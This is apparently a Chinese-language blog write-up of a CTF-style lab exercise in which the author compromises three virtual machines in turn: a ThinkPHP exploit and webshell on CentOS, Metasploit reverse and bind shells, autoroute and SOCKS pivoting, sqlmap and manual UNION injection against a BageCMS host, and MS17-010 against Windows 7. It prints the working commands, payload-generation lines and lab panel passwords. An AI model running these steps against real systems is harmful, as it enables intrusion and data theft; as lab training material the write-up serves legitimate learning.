三层漫游,ctf获取三个flag。
来源:2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。

壹、网络|环境配置

三层漫游环境(从xiaodisec搬运的):

kali:192.168.1.130
target1:centos:192.168.1.129\192.168.22.129
target2:ubuntu:192.168.22.128\192.168.33.129
target3:win7:192.168.33.33
配置多几块vmnet网卡即可。
参考:https://blog.csdn.net/qq_61237064/article/details/125602997

centos配置宝塔

若不配置的话,后面kali就访问不了80端口,也就是说连门槛都进不了(究其本质就是别人的环境,你在自己的虚拟环境下肯定要自己配)。
宝塔后台登陆地址及密码:
地址:http://192.168.1.129:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee

加上你自己的配置的centos的ip。

ubuntu配置宝塔

建议到后面进行target1的内网横向后再返回来配
地址:http://192.168.22.128:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..

同上,加上你自己配置的Ubuntu的ip即可。

贰、target1

一、判断存活主机

1
nmap -sP -sV 192.168.1.0/24   

扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-22 21:35 CST
Nmap scan report for 192.168.1.1
Host is up (0.00022s latency).
MAC Address: 00:50:56:C0:00:02 (VMware)
Nmap scan report for 192.168.1.129
Host is up (0.00041s latency).
MAC Address: 00:0C:29:E6:23:9B (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:EB:91:BF (VMware)
Nmap scan report for 192.168.1.130
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.00 seconds

根据经验,.130是kali、.1是物理机、.129就是centos的外接网卡ip。

二、信息收集

端口扫描

1
nmap -sT -sC -sV -O 192.168.1.129 -oN nmapscan/detail

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT     STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=120.210.162.243/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN
| Not valid before: 2019-10-04T07:41:17
|_Not valid after: 2029-07-03T07:41:17
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 3c:28:13:e1:6e:07:89:ba:c2:4e:97:3b:f0:f1:ca:de (RSA)
| 256 49:20:40:35:72:44:db:b1:56:34:ca:af:3a:cb:47:b6 (ECDSA)
|_ 256 65:da:72:bc:e3:ad:aa:97:12:5a:05:97:b0:1a:17:d8 (ED25519)
80/tcp open http nginx
|_http-title: \xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE7\xAB\x99\xE7\x82\xB9
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
888/tcp open http nginx
|_http-title: 404 Not Found
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http Ajenti http control panel
|_http-favicon: OSS-Labs BT Panel
| http-robots.txt: 1 disallowed entry
|_/
| http-title: \xE5\xAE\x89\xE5\x85\xA8\xE5\x85\xA5\xE5\x8F\xA3\xE6\xA0\xA1\xE9\xAA\x8C\xE5\xA4\xB1\xE8\xB4\xA5
|_Requested resource was http://192.168.1.129:8888/login
MAC Address: 00:0C:29:E6:23:9B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

目录扫描

偷懒。

二、web渗透

上面配置好宝塔后,访问192.168.1.129,就是一个thinkphp的框架。

这里直接使用exp,可以尝试一下msf,我这里是使用了一下工具。
直接探测到存在漏洞,还直接帮我们上了一个后门,直接连接getflag即可

还有其他两个flag
蚁剑连接后的当前页面,发现在robots.txt、flag21sA.txt存在flag

三、权限提升

拿下webshell后,虚拟终端看一下权限。

标准的webshell权限,尝试提权,方便后续操作,先反弹个shell。
生成木马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf>1.elf

设置options

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.130
set LPORT 4444
exploit

通过webshell上传木马,并在虚拟终端上执行
若没权限运行,赋予权限即可

1
chmod +x 1.elf

成功反弹,查看一下当前权限,权限还是不够高。

这里尝试了提权,但好像没有成功,算了,直接内网横向吧。

四、内网横向

信息收集

获取网络接口

1
run get_local_subnets

存在22网段,现在我们是在1网段进行沟通,如何访问到22网段呢,先添加路由。

1
2
run autoroute -s 192.168.22.0/24
run autoroute -p



现在的会话是session1,是建立在Target1的shell上的,建立路由后可以和22网段进行通信。那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办呢?
为了解决这种情况,我们可以在本地(msf上有模块可以开代理)开一个代理,通过这个代理给其他人一个端口去连接,然后我们就可以用自己的本机或者新开一个shell去连接kali的端口,这样就能访问192.168.22.129了

开启代理

在上述基础上

1
2
3
4
5
background
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0#一定是0.0.0.0,要么不写这句话
set SRVPORT 6666
exploit


修改以下配置文件,添加代理

1
vim /etc/proxychains4.conf

加上自己刚才配置好的代理即可

开好了代理,其实就可以渗透target2了。
如还没有配置Ubuntu环境的请配好再继续

叄、target2

一、信息收集

判断存活主机

1
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80

扫描结果:

其中,192.168.22.129为centos的内网网卡ip,那192.168.22.128就是Ubuntu的ip了。

端口扫描

扫目的主机

1
2
proxychains4 nmap -sT -Pn 192.168.22.128
#(因为socks不支持ICMP协议,所以我们就不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)

扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 192.168.22.128
Host is up (0.010s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 19.33 seconds

80端口,是一个bagecms的主页。

不得不吐槽:加了代理后的扫描速度是真的慢。

目录扫描

可以使用kali扫,建议也可使用windows扫(安装一个SocksCap64)。

1
proxychains4 dirb "http://192.168.22.128/" /usr/share/dirb/wordlists/big.txt

kali扫得太慢了,那就在windows配置好代理后使用御剑扫。

如果你和我一样,使用代理后扫得很慢,而且扫完以后,kali上不去index.php别扫了,哎
扫出了robots.txt(养成个习惯,盲猜有robots.txt)。

提示存在sql注入。

二、web渗透

sql注入

根据目录扫描得到的robots.txt,知道存在sql注入,那我直接利用sqlmap注入。

1
2
3
4
proxychains4 sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --dbs
proxychains4 sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -D bagecms --tables
proxychains4 sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --columns
proxychains4 sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -D bagecms -T bage_admin -C username,password --dump

后面属实被恶心到了,正常打开浏览网页是ok的,但是一扫描就time out,甚至连正常访问都不行了
正常是可以跑出来后台的登录账号以及密码的。
但是爆数据时出现点小问题,那就手工注入吧。

1
2
http://192.168.22.128/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin%23
niaomao玩意,还只可以接受#的url编码,估计那边有自动转换

账号:admin
密码:46f94c8de14fb36680850768ff1b7f2a(md5解密后就是123qwe)
直接登陆即可,登陆地址robots.txt给出,http://192.168.22.128/index.php?r=admini
直接获取到flag2(除此之外还有三个flag,我是真的没想到,建议看文末那篇文章)。

getshell与反弹shell

getshell

在后台翻了一下,发现模板处site的index.php就是我们之前访问的主页面,所以我尝试在此处插入一句话。

蚁剑上代理连接即可

直接获取到flag2

反弹shell

怎么把蚁剑获取到的shell反弹给msf呢?这里要使用正向连接
之前是反向连接,即靶机主动把shell会话发给我们;但是这里目的靶机在22网段,它是出不来的但我们能进去。因为我们刚刚开了一段22的路由,所以我们能找到靶机,所以要正向连接
生成正向后门

1
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 3.elf

上传并且执行木马。
msf正向连接

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

成功反弹

先不考虑提权,直接内网横向。

三、内网横向

还是一样的步骤,但这里就比较简单了,不需要自己配置了,只需要输入命令即可。
因为已经开好了代理,我们只需要把新的路由规则加上去即可

1
2
3
4
5
6
#获取网络接口:
run get_local_subnets
#添加路由地址:
run autoroute -s 192.168.33.0/24
查看(当前会话的)路由地址:
run autoroute -p


至此,三个网段已经杀通了。

肆、target3

一、信息收集

判断存活主机

1
proxychains4 nmap -Pn -sT 192.168.33.0/24

直接发现目标靶机:192.168.33.33

端口扫描

1
proxychains4 nmap -Pn -sT 192.168.33.33

扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for 192.168.33.33
Host is up (0.050s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 63.86 seconds

发现445端口开着,盲试永恒之蓝。

针对445端口

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
run

直接拿下,system权限。

开一个shell,发现乱码,直接输入

1
chcp 65001

直接正常了。

那就开始找flag了

1
2
3
4
5
6
cd /
dir /S *flag* /B
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以

成功获取到flag3了。

伍、总结&吐槽

1、这是我第一次搭建一个内网环境完成实验,虽然说借鉴了许多,但也学到了许多。
2、唯一一个很迷惑的点就是:
渗透target2时,我配置好代理之后,可以正常访问网页,但是利用工具扫描(主要是目录扫描和跑sqlmap)总会显示”**** error or sockstime out”之类的提示,然后打开网页…

访问都不能正常访问了…后面就又重开,重新扫,又timeout……折磨了我一上午…很奇怪的是,nmap判断存活主机,以及扫描目标主机我又在kali实现了
总而言之,扫描target2的目录,和利用sqlmap,都是在物理机上实现的,这也是一个遗憾。又或许是否要对工具进行免杀,上传到target1上对target2进行扫描,这也值得研究。
3、”socks代理有时候玄学,就是这样配置的,但是就是不行。”真的这么玄学?我的亲身经历来看好像就是,配置socks代理后,浏览器也配好了,就是访问不了,又莫名其妙要重开……中间几次差点心态崩了…
4、摸索到的原因:
不死心,又扫描,又timeout了,网页在kali又打不开了,等一会又网页正常了,应该是代理不稳定
找flag比较全的:https://zhuanlan.zhihu.com/p/111995050